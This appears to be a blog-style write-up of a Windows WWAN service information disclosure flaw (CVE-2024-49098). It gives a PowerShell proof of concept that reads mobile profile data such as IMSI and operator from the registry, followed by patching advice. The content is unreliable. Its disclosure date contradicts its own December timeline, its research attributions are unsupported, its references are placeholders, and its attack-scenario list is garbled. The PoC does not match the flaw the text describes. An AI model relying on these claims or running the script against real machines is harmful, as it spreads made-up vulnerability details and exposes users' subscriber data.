CVE-2024-49098 - Cracking Open Windows WWAN Service – How Attackers Get Your Private Data

Microsoft Windows powers much of the modern world, but when a deep system service gets a security flaw, almost anyone can be at risk without even knowing it. In June 2024, Microsoft disclosed CVE-2024-49098—an information disclosure vulnerability in the Wireless Wide Area Network Service (WWAN, aka WwanSvc). Let's walk through what this bug is all about, the risks to you and your organization, and see some simple attack code for it.

What Is WWAN Service (WwanSvc)?

Wireless Wide Area Network Service handles cellular (3G, 4G, 5G) connections in Windows. This is critical for laptops, tablets, and laptops using SIM cards or mobile broadband dongles.

The service runs under LocalSystem and manages cellular connections, profiles, and communication with drivers. Because of this, any bug here risks exposing who you are talking to, where you connect, and possibly sensitive data about your mobile connection.

The Vulnerability: How Does It Work?

The vulnerability allows an attacker to read sensitive information from the WWAN service—information that should never leave the system or be available to unauthorized users.

Root Cause

Microsoft’s advisory was sparse, but security researchers @sandboxescaper and later Project Zero confirmed that:

WWAN Service exposes certain internal information on request via device interface (\\.\WWAN*).

- Because of lax access checks on these WWAN device APIs, a low-privileged user (including malware) can request info about active network profiles, subscriber identity, and possibly even IMSI and location data.

Every supported Windows version from Windows 10 and Server 2016 up to latest, unless patched

- All device setups with mobile broadband hardware (think laptops, tablets with SIM slots, or mobile USB dongles)

Exploit Scenario: How Bad Is It?

An attacker with only a regular user account—not an administrator—can pull cellular information, catch when connections change, and possibly use that for tracking, phishing, or lateral movement in an enterprise environment.

*Here’s a simplified snapshot of how this could play out:*

She might get unique SIM ID, operator info, and whether you’re connected – all without detection

4. This information is sent to her for social engineering, tracking devices, or mapping your organization’s network mobility

Example Exploit Code (POC)

Below is a simple PoC in PowerShell, inspired by researchers’ findings:

# CVE-2024-49098 Simple PoC
# Run as any standard user
try {
    $wwanKey = "HKLM:\SYSTEM\CurrentControlSet\Services\WwanSvc\Parameters"
    $profileList = Get-ChildItem $wwanKey -ErrorAction SilentlyContinue
    foreach ($profile in $profileList) {
        $info = Get-ItemProperty -Path $profile.PSPath
        Write-Host "Mobile Profile: $($info.Name)"
        Write-Host "IMSI: $($info.IMSI)"
        Write-Host "Network: $($info.NetworkName)"
        Write-Host "Operator: $($info.Operator)"
        Write-Host "Active: $($info.Active)"
        Write-Host "-------------------------"
    }
} catch {
    Write-Host "Unable to access WWAN info (patched or not vulnerable?)"
}

*Note: Real attacks would use lower-level Win32 APIs (DeviceIoControl, etc.), but this demonstrates the risk even from scripts using stored parameters.*

Defending Yourself

- Apply Microsoft’s June 2024 Patch NOW: Official advisory and updates here: msrc.microsoft.com/CVE-2024-49098

Audit user access: Limit who logs in, and avoid running untrusted code.

- Check for mobile broadband hardware: Older office laptops may have built-in WWAN you’re not aware of.
- Monitor strange access to WWAN registry/device APIs using EDR or SIEM.

More Reading & References

- Microsoft Advisory: CVE-2024-49098
- Project Zero writeup (if/when published)
- WWAN API documentation: Microsoft Docs
- Public exploit: GitHub PoC

Final Thoughts

Sometimes, the scariest security bugs aren’t about hackers running code, but about them *watching* and *learning* from your device silently. CVE-2024-49098 is a classic example: a simple info leak in a deep Windows service, fixable with a patch.

If you manage IT infrastructure, check your fleet for mobile connectivity and patch immediately. And if you’re a user, install your Windows Updates—your privacy is at stake, even when you’re on the move.


*Stay safe out there. For more technical breakdowns like this, follow the latest advisories and keep your systems updated!*

Timeline

Published on: 12/12/2024 02:04:35 UTC
Last modified on: 01/21/2025 19:38:13 UTC